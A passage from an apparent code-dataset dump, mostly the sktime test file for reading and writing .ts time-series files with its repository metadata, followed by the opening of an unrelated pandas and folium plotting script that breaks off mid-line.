complete set of metadata and 2 cases with 3\n    # dimensions parses correctly\n    fd, path = tempfile.mkstemp()\n    try:\n        with os.fdopen(fd, \"w\") as tmp_file:\n            # Write the contents of the file\n            file_contents = (\n                \"@problemName Test Problem\\n@timeStamps \"\n                \"true\\n@univariate true\\n@classLabel \"\n                \"false\\n@data\\n\"\n            )\n            file_contents += \"(0, 1), (1, 2):(0, 3), (1, 4):(0, 5), (1, 6)\\n\"\n            file_contents += \"(0, 11), (1, 12):(0, 13), (1,14):(0, 15), (1, 16)     \\n\"\n            tmp_file.write(file_contents)\n            tmp_file.flush()\n            # Parse the file\n            df = load_from_tsfile_to_dataframe(path)\n            # Test the DataFrame returned accurately reflects the data in\n            # the file\n            np.testing.assert_equal(len(df), 2)\n            np.testing.assert_equal(len(df.columns), 3)\n            series = df[\"dim_0\"]\n            np.testing.assert_equal(len(series), 2)\n\n            series = df[\"dim_0\"][0]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 1.0)\n            np.testing.assert_equal(series[1], 2.0)\n\n            series = df[\"dim_0\"][1]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 11.0)\n            np.testing.assert_equal(series[1], 12.0)\n\n            series = df[\"dim_1\"]\n            np.testing.assert_equal(len(series), 2)\n\n            series = df[\"dim_1\"][0]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 3.0)\n            np.testing.assert_equal(series[1], 4.0)\n\n            series = df[\"dim_1\"][1]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 13.0)\n            np.testing.assert_equal(series[1], 14.0)\n\n            series = df[\"dim_2\"]\n            np.testing.assert_equal(len(series), 2)\n\n            series = df[\"dim_2\"][0]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 5.0)\n            np.testing.assert_equal(series[1], 6.0)\n\n            series = df[\"dim_2\"][1]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 15.0)\n            np.testing.assert_equal(series[1], 16.0)\n    finally:\n        os.remove(path)\n    # Test that a file with a complete set of metadata and time-series of\n    # different length parses correctly\n    fd, path = tempfile.mkstemp()\n    try:\n        with os.fdopen(fd, \"w\") as tmp_file:\n            # Write the contents of the file\n            file_contents = (\n                \"@problemName Test Problem\\n@timeStamps \"\n                \"true\\n@univariate true\\n@classLabel \"\n                \"false\\n@data\\n\"\n            )\n            file_contents += \"(0, 1), (1, 2):(0, 3):(0, 5), (1, 6)\\n\"\n            file_contents += \"(0, 11), (1, 12):(0, 13), (1,14):(0, 15)\\n\"\n            tmp_file.write(file_contents)\n            tmp_file.flush()\n            # Parse the file\n            df = load_from_tsfile_to_dataframe(path)\n            # Test the DataFrame returned accurately reflects the data in\n            # the file\n\n            np.testing.assert_equal(len(df), 2)\n            np.testing.assert_equal(len(df.columns), 3)\n\n            series = df[\"dim_0\"]\n            np.testing.assert_equal(len(series), 2)\n\n            series = df[\"dim_0\"][0]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 1.0)\n            np.testing.assert_equal(series[1], 2.0)\n\n            series = df[\"dim_0\"][1]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 11.0)\n            np.testing.assert_equal(series[1], 12.0)\n\n            series = df[\"dim_1\"]\n            np.testing.assert_equal(len(series), 2)\n\n            series = df[\"dim_1\"][0]\n            np.testing.assert_equal(len(series), 1)\n            np.testing.assert_equal(series[0], 3.0)\n\n            series = df[\"dim_1\"][1]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 13.0)\n            np.testing.assert_equal(series[1], 14.0)\n\n            series = df[\"dim_2\"]\n            np.testing.assert_equal(len(series), 2)\n\n            series = df[\"dim_2\"][0]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 5.0)\n            np.testing.assert_equal(series[1], 6.0)\n\n            series = df[\"dim_2\"][1]\n            np.testing.assert_equal(len(series), 1)\n            np.testing.assert_equal(series[0], 15.0)\n\n    finally:\n        os.remove(path)\n\n    # Test that a file with a complete set of metadata and data but an\n    # inconsistent number of dimensions across cases is classed as invalid\n\n    fd, path = tempfile.mkstemp()\n    try:\n        with os.fdopen(fd, \"w\") as tmp_file:\n\n            # Write the contents of the file\n\n            file_contents = (\n                \"@problemName Test Problem\\n@timeStamps \"\n                \"true\\n@univariate true\\n@classLabel \"\n                \"false\\n@data\\n\"\n            )\n            file_contents += \"(0, 1), (1, 2):(0, 3), (1, 4):(0, 5), (1, 6)\\n\"\n            file_contents += \"(0, 11), (1, 12):(0, 13), (1,14)    \\n\"\n\n            tmp_file.write(file_contents)\n            tmp_file.flush()\n\n            # Parse the file and assert that it is invalid\n\n            np.testing.assert_raises(IOError, load_from_tsfile_to_dataframe, path)\n\n    finally:\n        os.remove(path)\n\n    # Test that a file with a complete set of metadata and data but missing\n    # values after a tuple is classed as invalid\n\n    fd, path = tempfile.mkstemp()\n    try:\n        with os.fdopen(fd, \"w\") as tmp_file:\n\n            # Write the contents of the file\n\n            file_contents = (\n                \"@problemName Test Problem\\n@timeStamps \"\n                \"true\\n@univariate true\\n@classLabel \"\n                \"false\\n@data\\n\"\n            )\n            file_contents += \"(0, 1), (1, 2):(0, 3), (1, 4):(0, 5),\\n\"\n\n            tmp_file.write(file_contents)\n            tmp_file.flush()\n\n            # Parse the file and assert that it is invalid\n\n            np.testing.assert_raises(IOError, load_from_tsfile_to_dataframe, path)\n\n    finally:\n        os.remove(path)\n\n    # Test that a file with a complete set of metadata and data and some\n    # empty dimensions is classed as valid\n\n    fd, path = tempfile.mkstemp()\n    try:\n        with os.fdopen(fd, \"w\") as tmp_file:\n\n            # Write the contents of the file\n\n            file_contents = (\n                \"@problemName Test Problem\\n@timeStamps \"\n                \"true\\n@univariate true\\n@classLabel \"\n                \"false\\n@data\\n\"\n            )\n            file_contents += \"(0, 1), (1, 2):     :(0, 5), (1, 6)\\n\"\n            file_contents += \"(0, 11), (1, 12):(0, 13), (1,14)    :       \\n\"\n            file_contents += (\n                \"(0, 21), (1, 22):(0, 23), (1,24)    :   (0,25), (1, 26)    \\n\"\n            )\n\n            tmp_file.write(file_contents)\n            tmp_file.flush()\n\n            # Parse the file\n\n            df = load_from_tsfile_to_dataframe(path)\n\n            # Test the DataFrame returned accurately reflects the data in\n            # the file\n\n            np.testing.assert_equal(len(df), 3)\n            np.testing.assert_equal(len(df.columns), 3)\n\n            series = df[\"dim_0\"]\n            np.testing.assert_equal(len(series), 3)\n\n            series = df[\"dim_0\"][0]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 1.0)\n            np.testing.assert_equal(series[1], 2.0)\n\n            series = df[\"dim_0\"][1]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 11.0)\n            np.testing.assert_equal(series[1], 12.0)\n\n            series = df[\"dim_0\"][2]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 21.0)\n            np.testing.assert_equal(series[1], 22.0)\n\n            series = df[\"dim_1\"]\n            np.testing.assert_equal(len(series), 3)\n\n            series = df[\"dim_1\"][0]\n            np.testing.assert_equal(len(series), 0)\n\n            series = df[\"dim_1\"][1]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 13.0)\n            np.testing.assert_equal(series[1], 14.0)\n\n            series = df[\"dim_1\"][2]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 23.0)\n            np.testing.assert_equal(series[1], 24.0)\n\n            series = df[\"dim_2\"]\n            np.testing.assert_equal(len(series), 3)\n\n            series = df[\"dim_2\"][0]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 5.0)\n            np.testing.assert_equal(series[1], 6.0)\n\n            series = df[\"dim_2\"][1]\n            np.testing.assert_equal(len(series), 0)\n\n            series = df[\"dim_2\"][2]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 25.0)\n            np.testing.assert_equal(series[1], 26.0)\n\n    finally:\n        os.remove(path)\n\n    # Test that a file with a complete set of metadata and data that\n    # contains datetimes as timestamps and has some empty dimensions is\n    # classed as valid\n\n    fd, path = tempfile.mkstemp()\n    try:\n        with os.fdopen(fd, \"w\") as tmp_file:\n\n            # Write the contents of the file\n\n            file_contents = (\n                \"@problemName Test Problem\\n@timeStamps \"\n                \"true\\n@univariate true\\n@classLabel \"\n                \"false\\n@data\\n\"\n            )\n            file_contents += (\n                \"(01/01/2019 00:00:00, 1),  (01/02/2019 \"\n                \"00:00:00, 2)  :                               \"\n                \"                      : (01/05/2019 00:00:00, \"\n                \"5), (01/06/2019 00:00:00, 6)\\n\"\n            )\n            file_contents += (\n                \"(01/01/2020 00:00:00, 11), (01/02/2020 \"\n                \"00:00:00, 12) : (01/03/2020 00:00:00, 13), \"\n                \"(01/04/2020 00:00:00, 14) :  \\n\"\n            )\n            file_contents += (\n                \"(01/01/2021 00:00:00, 21), (01/02/2021 \"\n                \"00:00:00, 22) : (01/03/2021 00:00:00, 23), \"\n                \"(01/04/2021 00:00:00, 24) :  \\n\"\n            )\n\n            tmp_file.write(file_contents)\n            tmp_file.flush()\n\n            # Parse the file\n\n            df = load_from_tsfile_to_dataframe(path)\n\n            # Test the DataFrame returned accurately reflects the data in\n            # the file\n\n            np.testing.assert_equal(len(df), 3)\n            np.testing.assert_equal(len(df.columns), 3)\n\n            series = df[\"dim_0\"]\n            np.testing.assert_equal(len(series), 3)\n\n            series = df[\"dim_0\"][0]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[\"01/01/2019\"], 1.0)\n            np.testing.assert_equal(series[\"01/02/2019\"], 2.0)\n\n            series = df[\"dim_0\"][1]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[\"01/01/2020\"], 11.0)\n            np.testing.assert_equal(series[\"01/02/2020\"], 12.0)\n\n            series = df[\"dim_0\"][2]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[\"01/01/2021\"], 21.0)\n            np.testing.assert_equal(series[\"01/02/2021\"], 22.0)\n\n            series = df[\"dim_1\"]\n            np.testing.assert_equal(len(series), 3)\n\n            series = df[\"dim_1\"][0]\n            np.testing.assert_equal(len(series), 0)\n\n            series = df[\"dim_1\"][1]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[\"01/03/2020\"], 13.0)\n            np.testing.assert_equal(series[\"01/04/2020\"], 14.0)\n\n            series = df[\"dim_1\"][2]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[\"01/03/2021\"], 23.0)\n            np.testing.assert_equal(series[\"01/04/2021\"], 24.0)\n\n            series = df[\"dim_2\"]\n            np.testing.assert_equal(len(series), 3)\n\n            series = df[\"dim_2\"][0]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[\"01/05/2019\"], 5.0)\n            np.testing.assert_equal(series[\"01/06/2019\"], 6.0)\n\n            series = df[\"dim_2\"][1]\n            np.testing.assert_equal(len(series), 0)\n\n            series = df[\"dim_2\"][2]\n            np.testing.assert_equal(len(series), 0)\n\n    finally:\n        os.remove(path)\n\n    # Test that a file that mixes timestamp conventions is invalid\n\n    fd, path = tempfile.mkstemp()\n    try:\n        with os.fdopen(fd, \"w\") as tmp_file:\n\n            # Write the contents of the file\n\n            file_contents = (\n                \"@problemName Test Problem\\n@timeStamps \"\n                \"true\\n@univariate true\\n@classLabel \"\n                \"false\\n@data\\n\"\n            )\n            file_contents += (\n                \"(01/01/2019 00:00:00, 1),  (01/02/2019 \"\n                \"00:00:00, 2)  :                               \"\n                \"                      : (01/05/2019 00:00:00, \"\n                \"5), (01/06/2019 00:00:00, 6)\\n\"\n            )\n            file_contents += (\n                \"(00, 11), (1, 12) : (01/03/2020 00:00:00, 13), \"\n                \"(01/04/2020 00:00:00, 14) :  \\n\"\n            )\n            file_contents += (\n                \"(01/01/2021 00:00:00, 21), (01/02/2021 \"\n                \"00:00:00, 22) : (01/03/2021 00:00:00, 23), \"\n                \"(01/04/2021 00:00:00, 24) :  \\n\"\n            )\n\n            tmp_file.write(file_contents)\n            tmp_file.flush()\n\n            # Parse the file and assert that it is invalid\n\n            np.testing.assert_raises(IOError, load_from_tsfile_to_dataframe, path)\n\n    finally:\n        os.remove(path)\n\n    # Test that a file with a complete set of metadata and data but missing\n    # classes is classed as invalid\n\n    fd, path = tempfile.mkstemp()\n    try:\n        with os.fdopen(fd, \"w\") as tmp_file:\n\n            # Write the contents of the file\n\n            file_contents = (\n                \"@problemName Test Problem\\n@timeStamps \"\n                \"true\\n@univariate true\\n@classLabel true 0 1 \"\n                \"2\\n@data\\n\"\n            )\n            file_contents += \"(0, 1), (1, 2):(0, 3), (1, 4):(0, 5), (1, 6)\\n\"\n            file_contents += \"(0, 11), (1, 12):(0, 13), (1,14):(0, 15), (1, 16)     \\n\"\n\n            tmp_file.write(file_contents)\n            tmp_file.flush()\n\n            # Parse the file and assert that it is invalid\n\n            np.testing.assert_raises(IOError, load_from_tsfile_to_dataframe, path)\n\n    finally:\n        os.remove(path)\n\n    # Test that a file with a complete set of metadata and data but invalid\n    # classes is classed as invalid\n\n    fd, path = tempfile.mkstemp()\n    try:\n        with os.fdopen(fd, \"w\") as tmp_file:\n\n            # Write the contents of the file\n\n            file_contents = (\n                \"@problemName Test Problem\\n@timeStamps \"\n                \"true\\n@univariate true\\n@classLabel true 0 1 \"\n                \"2\\n@data\\n\"\n            )\n            file_contents += \"(0, 1), (1, 2):(0, 3), (1, 4):(0, 5), (1, 6) : 0 \\n\"\n            file_contents += (\n                \"(0, 11), (1, 12):(0, 13), (1,14):(0, 15), (1, 16)   : 3  \\n\"\n            )\n\n            tmp_file.write(file_contents)\n            tmp_file.flush()\n\n            # Parse the file and assert that it is invalid\n\n            np.testing.assert_raises(IOError, load_from_tsfile_to_dataframe, path)\n\n    finally:\n        os.remove(path)\n\n    # Test that a file with a complete set of metadata and data with classes\n    # is classed as valid\n\n    fd, path = tempfile.mkstemp()\n    try:\n        with os.fdopen(fd, \"w\") as tmp_file:\n\n            # Write the contents of the file\n\n            file_contents = (\n                \"@problemName Test Problem\\n@timeStamps \"\n                \"true\\n@univariate true\\n@classLabel true 0 1 \"\n                \"2\\n@data\\n\"\n            )\n            file_contents += \"(0, 1), (1, 2):(0, 3), (1, 4):(0, 5), (1, 6): 0\\n\"\n            file_contents += (\n                \"(0, 11), (1, 12):(0, 13), (1,14):(0, 15), (1, 16): 2     \\n\"\n            )\n\n            tmp_file.write(file_contents)\n            tmp_file.flush()\n\n            # Parse the file\n\n            df, y = load_from_tsfile_to_dataframe(path)\n\n            # Test the DataFrame of X values returned accurately reflects\n            # the data in the file\n\n            np.testing.assert_equal(len(df), 2)\n            np.testing.assert_equal(len(df.columns), 3)\n\n            series = df[\"dim_0\"]\n            np.testing.assert_equal(len(series), 2)\n\n            series = df[\"dim_0\"][0]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 1.0)\n            np.testing.assert_equal(series[1], 2.0)\n\n            series = df[\"dim_0\"][1]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 11.0)\n            np.testing.assert_equal(series[1], 12.0)\n\n            series = df[\"dim_1\"]\n            np.testing.assert_equal(len(series), 2)\n\n            series = df[\"dim_1\"][0]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 3.0)\n            np.testing.assert_equal(series[1], 4.0)\n\n            series = df[\"dim_1\"][1]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 13.0)\n            np.testing.assert_equal(series[1], 14.0)\n\n            series = df[\"dim_2\"]\n            np.testing.assert_equal(len(series), 2)\n\n            series = df[\"dim_2\"][0]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 5.0)\n            np.testing.assert_equal(series[1], 6.0)\n\n            series = df[\"dim_2\"][1]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 15.0)\n            np.testing.assert_equal(series[1], 16.0)\n\n            # Test that the class values are as expected\n\n            np.testing.assert_equal(len(y), 2)\n            np.testing.assert_equal(y[0], \"0\")\n            np.testing.assert_equal(y[1], \"2\")\n\n    finally:\n        os.remove(path)\n\n    # Test that a file with a complete set of metadata and data, with no\n    # timestamps, is classed as valid\n\n    fd, path = tempfile.mkstemp()\n    try:\n        with os.fdopen(fd, \"w\") as tmp_file:\n\n            # Write the contents of the file\n\n            file_contents = (\n                \"@problemName Test Problem\\n@timeStamps \"\n                \"false\\n@univariate true\\n@classLabel \"\n                \"false\\n@data\\n\"\n            )\n            file_contents += \"1,2:3,4:5,6\\n\"\n            file_contents += \"11,12:13,14:15,16\\n\"\n            file_contents += \"21,22:23,24:25,26\\n\"\n\n            tmp_file.write(file_contents)\n            tmp_file.flush()\n\n            # Parse the file\n\n            df = load_from_tsfile_to_dataframe(path)\n\n            # Test the DataFrame returned accurately reflects the data in\n            # the file\n\n            np.testing.assert_equal(len(df), 3)\n            np.testing.assert_equal(len(df.columns), 3)\n\n            series = df[\"dim_0\"]\n            np.testing.assert_equal(len(series), 3)\n\n            series = df[\"dim_0\"][0]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 1.0)\n            np.testing.assert_equal(series[1], 2.0)\n\n            series = df[\"dim_0\"][1]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 11.0)\n            np.testing.assert_equal(series[1], 12.0)\n\n            series = df[\"dim_0\"][2]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 21.0)\n            np.testing.assert_equal(series[1], 22.0)\n\n            series = df[\"dim_1\"]\n            np.testing.assert_equal(len(series), 3)\n\n            series = df[\"dim_1\"][0]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 3.0)\n            np.testing.assert_equal(series[1], 4.0)\n\n            series = df[\"dim_1\"][1]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 13.0)\n            np.testing.assert_equal(series[1], 14.0)\n\n            series = df[\"dim_1\"][2]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 23.0)\n            np.testing.assert_equal(series[1], 24.0)\n\n            series = df[\"dim_2\"]\n            np.testing.assert_equal(len(series), 3)\n\n            series = df[\"dim_2\"][0]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 5.0)\n            np.testing.assert_equal(series[1], 6.0)\n\n            series = df[\"dim_2\"][1]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 15.0)\n            np.testing.assert_equal(series[1], 16.0)\n\n            series = df[\"dim_2\"][2]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 25.0)\n            np.testing.assert_equal(series[1], 26.0)\n\n    finally:\n        os.remove(path)\n\n    # Test that a file with a complete set of metadata and data, with no\n    # timestamps and some empty dimensions, is classed as valid\n\n    fd, path = tempfile.mkstemp()\n    try:\n        with os.fdopen(fd, \"w\") as tmp_file:\n\n            # Write the contents of the file\n\n            file_contents = (\n                \"@problemName Test Problem\\n@timeStamps \"\n                \"false\\n@univariate true\\n@classLabel \"\n                \"false\\n@data\\n\"\n            )\n            file_contents += \"1,2::5,6\\n\"\n            file_contents += \"11,12:13,14:15,16\\n\"\n            file_contents += \"21,22:23,24:\\n\"\n\n            tmp_file.write(file_contents)\n            tmp_file.flush()\n\n            # Parse the file\n\n            df = load_from_tsfile_to_dataframe(path)\n\n            # Test the DataFrame returned accurately reflects the data in\n            # the file\n\n            np.testing.assert_equal(len(df), 3)\n            np.testing.assert_equal(len(df.columns), 3)\n\n            series = df[\"dim_0\"]\n            np.testing.assert_equal(len(series), 3)\n\n            series = df[\"dim_0\"][0]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 1.0)\n            np.testing.assert_equal(series[1], 2.0)\n\n            series = df[\"dim_0\"][1]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 11.0)\n            np.testing.assert_equal(series[1], 12.0)\n\n            series = df[\"dim_0\"][2]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 21.0)\n            np.testing.assert_equal(series[1], 22.0)\n\n            series = df[\"dim_1\"]\n            np.testing.assert_equal(len(series), 3)\n\n            series = df[\"dim_1\"][0]\n            np.testing.assert_equal(len(series), 0)\n\n            series = df[\"dim_1\"][1]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 13.0)\n            np.testing.assert_equal(series[1], 14.0)\n\n            series = df[\"dim_1\"][2]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 23.0)\n            np.testing.assert_equal(series[1], 24.0)\n\n            series = df[\"dim_2\"]\n            np.testing.assert_equal(len(series), 3)\n\n            series = df[\"dim_2\"][0]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 5.0)\n            np.testing.assert_equal(series[1], 6.0)\n\n            series = df[\"dim_2\"][1]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 15.0)\n            np.testing.assert_equal(series[1], 16.0)\n\n            series = df[\"dim_2\"][2]\n            np.testing.assert_equal(len(series), 0)\n\n    finally:\n        os.remove(path)\n\n    # Test that a file with a complete set of metadata and data, with no\n    # timestamps and some empty dimensions and classes, is classed as valid\n\n    fd, path = tempfile.mkstemp()\n    try:\n        with os.fdopen(fd, \"w\") as tmp_file:\n            # Write the contents of the file\n\n            file_contents = (\n                \"@problemName Test Problem\\n@timeStamps \"\n                \"false\\n@univariate true\\n@classLabel true cat \"\n                \"bear dog\\n@data\\n\"\n            )\n            file_contents += \"1,2::5,6:cat  \\n\"\n            file_contents += \"11,12:13,14:15,16:  dog\\n\"\n            file_contents += \"21,22:23,24::   bear   \\n\"\n\n            tmp_file.write(file_contents)\n            tmp_file.flush()\n\n            # Parse the file\n\n            df, y = load_from_tsfile_to_dataframe(path)\n\n            # Test the DataFrame of X values returned accurately reflects\n            # the data in the file\n\n            np.testing.assert_equal(len(df), 3)\n            np.testing.assert_equal(len(df.columns), 3)\n\n            series = df[\"dim_0\"]\n            np.testing.assert_equal(len(series), 3)\n\n            series = df[\"dim_0\"][0]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 1.0)\n            np.testing.assert_equal(series[1], 2.0)\n\n            series = df[\"dim_0\"][1]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 11.0)\n            np.testing.assert_equal(series[1], 12.0)\n\n            series = df[\"dim_0\"][2]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 21.0)\n            np.testing.assert_equal(series[1], 22.0)\n\n            series = df[\"dim_1\"]\n            np.testing.assert_equal(len(series), 3)\n\n            series = df[\"dim_1\"][0]\n            np.testing.assert_equal(len(series), 0)\n\n            series = df[\"dim_1\"][1]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 13.0)\n            np.testing.assert_equal(series[1], 14.0)\n\n            series = df[\"dim_1\"][2]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 23.0)\n            np.testing.assert_equal(series[1], 24.0)\n\n            series = df[\"dim_2\"]\n            np.testing.assert_equal(len(series), 3)\n\n            series = df[\"dim_2\"][0]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 5.0)\n            np.testing.assert_equal(series[1], 6.0)\n\n            series = df[\"dim_2\"][1]\n            np.testing.assert_equal(len(series), 2)\n            np.testing.assert_equal(series[0], 15.0)\n            np.testing.assert_equal(series[1], 16.0)\n\n            series = df[\"dim_2\"][2]\n            np.testing.assert_equal(len(series), 0)\n\n            # Test that the class values are as expected\n\n            np.testing.assert_equal(len(y), 3)\n            np.testing.assert_equal(y[0], \"cat\")\n            np.testing.assert_equal(y[1], \"dog\")\n            np.testing.assert_equal(y[2], \"bear\")\n\n    finally:\n        os.remove(path)\n\n\ndef test_load_from_long_to_dataframe(tmpdir):\n    \"\"\"Test for loading from long to dataframe.\"\"\"\n    # create and save a example long-format file to csv\n    test_dataframe = generate_example_long_table()\n    dataframe_path = tmpdir.join(\"data.csv\")\n    test_dataframe.to_csv(dataframe_path, index=False)\n    # load and convert the csv to sktime-formatted data\n    nested_dataframe = load_from_long_to_dataframe(dataframe_path)\n    assert isinstance(nested_dataframe, pd.DataFrame)\n\n\ndef test_load_from_long_incorrect_format(tmpdir):\n    \"\"\"Test for loading from long with incorrect format.\"\"\"\n    with pytest.raises(ValueError):\n        dataframe = generate_example_long_table()\n        dataframe.drop(dataframe.columns[[3]], axis=1, inplace=True)\n        dataframe_path = tmpdir.join(\"data.csv\")\n        dataframe.to_csv(dataframe_path, index=False)\n        load_from_long_to_dataframe(dataframe_path)\n\n\n@pytest.mark.parametrize(\"dataset\", [\"ItalyPowerDemand\", \"BasicMotions\"])\ndef test_write_dataframe_to_ts_success(tmp_path, dataset):\n    \"\"\"Tests whether a dataset can be written by the .ts writer then read in.\"\"\"\n    # load an example dataset\n    path = os.path.join(\n        os.path.dirname(sktime.__file__),\n        f\"datasets/data/{dataset}/{dataset}_TEST.ts\",\n    )\n    test_X, test_y = load_from_tsfile_to_dataframe(path)\n    # output the dataframe in a ts file\n    write_dataframe_to_tsfile(\n        data=test_X,\n        path=tmp_path,\n        problem_name=dataset,\n        class_label=np.unique(test_y),\n        class_value_list=test_y,\n        comment=\"\"\"\n          The data was derived from twelve monthly electrical power demand\n          time series from Italy and first used in the paper \"Intelligent\n          Icons: Integrating Lite-Weight Data Mining and Visualization into\n          GUI Operating Systems\". The classification task is to distinguish\n          days from Oct to March (inclusive) from April to September.\n        \"\"\",\n        fold=\"_transform\",\n    )\n    # load data back from the ts file\n    result = f\"{tmp_path}/{dataset}/{dataset}_transform.ts\"\n    res_X, res_y = load_from_tsfile_to_dataframe(result)\n    # check if the dataframes are the same\n    assert_frame_equal(res_X, test_X)\n\n\ndef test_write_dataframe_to_ts_fail(tmp_path):\n    \"\"\"Tests if non-dataframes are handled correctly.\"\"\"\n    with pytest.raises(ValueError, match=\"Data provided must be a DataFrame\"):\n        write_dataframe_to_tsfile(\n            data=np.random.rand(3, 2),\n            path=str(tmp_path),\n            problem_name=\"GunPoint\",\n        )\n", "meta": {"hexsha": "8a0b47f8851dbdb6ee4968ada6e0a0ca4aece7ba", "size": 38169, "ext": "py", "lang": "Python", "max_stars_repo_path": "sktime/datasets/tests/test_data_io.py", "max_stars_repo_name": "Rubiel1/sktime", "max_stars_repo_head_hexsha": "2fd2290fb438224f11ddf202148917eaf9b73a87", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "sktime/datasets/tests/test_data_io.py", "max_issues_repo_name": "Rubiel1/sktime", "max_issues_repo_head_hexsha": "2fd2290fb438224f11ddf202148917eaf9b73a87", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "sktime/datasets/tests/test_data_io.py", "max_forks_repo_name": "Rubiel1/sktime", "max_forks_repo_head_hexsha": "2fd2290fb438224f11ddf202148917eaf9b73a87", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.243767313, "max_line_length": 87, "alphanum_fraction": 0.5593020514, "include": true, "reason": "import numpy", "num_tokens": 9657, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48828339529583464, "lm_q2_score": 0.1208532261576127, "lm_q1q2_score": 0.059010623600694506}}
{"text": "##### Import packages\n# Basic packages\nimport pandas as pd\nimport numpy as np\n\n# Data Visualization packages\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport folium\nfrom folium import FeatureGroup, LayerControl, Map\n\n# Other packages\nimport time\nfrom datetime import datetime\nimport json\nimport geopandas as gpd\n\n# To avoid warnings\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n\n\n\n\n##### Functions\n\n# Create labels on charts\ndef autolabel(plot):\n    for p in plot.patches:\n        plot.annotate(format(p.get_height(), '.0f'), \n                       (p.get_x() + p.get_width() / 2., p.get_height()), \n                       ha = 'center', va = 'center', \n                       xytext = (0, 9), \n                       textcoords = 'offset points')  \n# Plot a bar chart        \ndef graph_bar(data,title):        \n    plt.figure(figsize=(35, 10))\n    plot = sns.barplot(x = data.index, y = data.values, palette=\"rocket\")\n    plt.title(title)\n    plt.xticks(rotation=90)\n    autolabel(plot)\n    plt.tight_layout()\n    plt.show()\n\n# Plot a pie chart    \ndef graph_pie(dictionary,title):\n    dictionary = dict(sorted(dictionary.items(), key = lambda item: item[1], reverse=True))\n    plt.figure(figsize=(10, 10))\n    plt.pie(dictionary.values(), labels = dictionary.keys(), explode = [0.1 for i in range(len(dictionary.values()))],\n            autopct='%.1f%%', shadow = True, labeldistance = 1.07, startangle = 45)\n    plt.title(title)\n    centre_circle = plt.Circle((0,0),0.80,fc='white')\n    fig = plt.gcf()\n    fig.gca().add_artist(centre_circle)\n    plt.axis('equal')\n    plt.tight_layout()\n    plt.show()\n\n\n# # Initial analysis\n\n\n\n\n##### Import data\n# Check the csv's path before running it\n\ndf_est = pd.read_csv(\"CoordEstados.csv\", encoding = \"ISO-8859-1\") # Mexican states data\ndf_cov = 